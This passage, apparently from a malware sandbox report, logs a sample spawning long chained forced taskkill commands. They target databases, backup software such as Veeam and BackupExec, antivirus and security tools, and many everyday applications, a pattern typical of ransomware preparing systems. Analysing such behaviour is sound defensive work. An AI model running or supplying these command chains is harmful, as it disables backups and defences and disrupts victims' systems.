& @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"
    3⤵
    PID:3780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ThunderPlatform.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM iexplore.exe /F
      4⤵
      PID:5596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM vm-agent.exe /F
      4⤵
      PID:4980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM vm-agent-daemon.exe /F
      4⤵
      Kills process with taskkill
      PID:5556
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM eSightService.exe /F
      4⤵
      PID:3852
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cygrunsrv.exe /F
      4⤵
      Kills process with taskkill
      PID:3204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM wrapper.exe /F
      4⤵
      Kills process with taskkill
      PID:4616
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM nginx.exe /F
      4⤵
      PID:5240
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM node.exe /F
      4⤵
      PID:3116
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sshd.exe /F
      4⤵
      PID:5188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM vm-tray.exe /F
      4⤵
      PID:8
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM iempwatchdog.exe /F
      4⤵
      PID:4548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sqlwriter.exe /F
      4⤵
      PID:4896
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM php.exe /F
      4⤵
      PID:5712
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "notepad++.exe" /F
      4⤵
      PID:4896
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "phpStudy.exe" /F
      4⤵
      PID:5840
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM OPCClient.exe /F
      4⤵
      PID:1960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM navicat.exe /F
      4⤵
      PID:5020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SupportAssistAgent.exe /F
      4⤵
      PID:3948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SunloginClient.exe /F
      4⤵
      PID:3204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SOUNDMAN.exe /F
      4⤵
      PID:6696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM WeChat.exe /F
      4⤵
      PID:6500
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TXPlatform.exe /F
      4⤵
      PID:3648
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Tencentdll.exe /F
      4⤵
      PID:5908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM httpd.exe /F
      4⤵
      PID:6632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM jenkins.exe /F
      4⤵
      Kills process with taskkill
      PID:6564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM QQ.exe /F
      4⤵
      PID:5744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM HaoZip.exe /F
      4⤵
      PID:6240
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM HaoZipScan.exe /F
      4⤵
      Kills process with taskkill
      PID:3608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM navicat.exe /F
      4⤵
      PID:5592
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TSVNCache.exe /F
      4⤵
      PID:6668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RAVCpl64.exe /F
      4⤵
      PID:6020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM secbizsrv.exe /F
      4⤵
      PID:6916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM aliwssv.exe /F
      4⤵
      PID:3316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Helper_Haozip.exe /F
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM acrotray.exe /F
      4⤵
      PID:2308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "FileZilla Server Interface.exe" /F
      4⤵
      PID:5916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM YoudaoNote.exe /F
      4⤵
      PID:4296
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM YNoteCefRender.exe /F
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM idea.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM fsnotifier.exe /F
      4⤵
      Kills process with taskkill
      PID:6232
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM picpick.exe /F
      4⤵
      PID:6024
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM lantern.exe /F
      4⤵
      PID:4932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sysproxy-cmd.exe /F
      4⤵
      PID:4532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM service.exe /F
      4⤵
      PID:116
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM pcas.exe /F
      4⤵
      PID:5760
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM PresentationFontCache.exe /F
      4⤵
      PID:2292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RtWlan.exe /F
      4⤵
      PID:224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM monitor.exe /F
      4⤵
      PID:4028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Correspond.exe /F
      4⤵
      PID:4992
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"
    3⤵
    PID:4236
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM pg_ctl.exe /F
      4⤵
      PID:5916
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM rcrelay.exe /F
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SogouImeBroker.exe /F
      4⤵
      PID:6024
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CCenter.exe /F
      4⤵
      PID:5336
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ScanFrm.exe /F
      4⤵
      PID:3120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM d_manage.exe /F
      4⤵
      PID:5820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RsTray.exe /F
      4⤵
      Kills process with taskkill
      PID:5744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM wampmanager.exe /F
      4⤵
      Kills process with taskkill
      PID:2988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RavTray.exe /F
      4⤵
      PID:6140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mssearch.exe /F
      4⤵
      PID:2380
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sqlmangr.exe /F
      4⤵
      PID:5544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM msftesql.exe /F
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SyncBaseSvr.exe /F
      4⤵
      PID:3068
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM oracle.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TNSLSNR.exe /F
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SyncBaseConsole.exe /F
      4⤵
      PID:5984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM aspnet_state.exe /F
      4⤵
      PID:5264
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AutoBackUpEx.exe /F
      4⤵
      PID:5348
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM redis-server.exe /F
      4⤵
      PID:3120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM MySQLNotifier.exe /F
      4⤵
      PID:6708
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM oravssw.exe /F
      4⤵
      PID:6700
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM fppdis5.exe /F
      4⤵
      PID:5264
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM His6Service.exe /F
      4⤵
      PID:6584
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM dinotify.exe /F
      4⤵
      PID:7092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM JhTask.exe /F
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Executer.exe /F
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AllPassCBHost.exe /F
      4⤵
      PID:6696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ap_nginx.exe /F
      4⤵
      PID:4580
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AndroidServer.exe /F
      4⤵
      PID:3276
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM XT.exe /F
      4⤵
      PID:6760
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM XTService.exe /F
      4⤵
      PID:6608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AllPassMCService.exe /F
      4⤵
      PID:6596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM IMEDICTUPDATE.exe /F
      4⤵
      PID:7028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM FlashHelperService.exe /F
      4⤵
      Kills process with taskkill
      PID:5796
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ap_redis-server.exe /F
      4⤵
      PID:6164
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UtilDev.WebServer.Monitor.exe /F
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UWS.AppHost.Clr2.x86.exe /F
      4⤵
      PID:5536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM FoxitProtect.exe /F
      4⤵
      PID:1332
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ftnlses.exe /F
      4⤵
      PID:4724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ftusbrdwks.exe /F
      4⤵
      Kills process with taskkill
      PID:5828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ftusbrdsrv.exe /F
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ftnlsv.exe /F
      4⤵
      PID:5412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Syslogd_Service.exe /F
      4⤵
      PID:6756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UWS.HighPrivilegeUtilities.exe /F
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ftusbsrv.exe /F
      4⤵
      PID:5284
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UWS.LowPrivilegeUtilities.exe /F
      4⤵
      PID:5208
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F
      4⤵
      PID:5756
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM winguard_x64.exe /F
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM vmconnect.exe /F
      4⤵
      PID:6720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"
    3⤵
    PID:4356
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BackupExec.exe /F
      4⤵
      PID:424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Att.exe /F
      4⤵
      PID:5868
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mdm.exe /F
      4⤵
      PID:4700
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BackupExecManagementService.exe /F
      4⤵
      PID:5508
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM bengine.exe /F
      4⤵
      PID:3664
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM benetns.exe /F
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM beserver.exe /F
      4⤵
      PID:5432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM pvlsvr.exe /F
      4⤵
      PID:5940
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM bedbg.exe /F
      4⤵
      Kills process with taskkill
      PID:2824
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM beremote.exe /F
      4⤵
      Kills process with taskkill
      PID:2784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM beremote.exe /F
      4⤵
      PID:5716
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM beremote.exe /F
      4⤵
      PID:5588
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM beremote.exe /F
      4⤵
      PID:4784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RemoteAssistProcess.exe /F
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BarMoniService.exe /F
      4⤵
      PID:5740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GoodGameSrv.exe /F
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BarCMService.exe /F
      4⤵
      PID:1288
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TsService.exe /F
      4⤵
      PID:2380
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GoodGame.exe /F
      4⤵
      PID:2600
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BarServerView.exe /F
      4⤵
      PID:3340
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM IcafeServicesTray.exe /F
      4⤵
      Kills process with taskkill
      PID:7096
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BsAgent_0.exe /F
      4⤵
      PID:5948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ControlServer.exe /F
      4⤵
      Kills process with taskkill
      PID:2860
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DisklessServer.exe /F
      4⤵
      PID:3852
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DumpServer.exe /F
      4⤵
      PID:5348
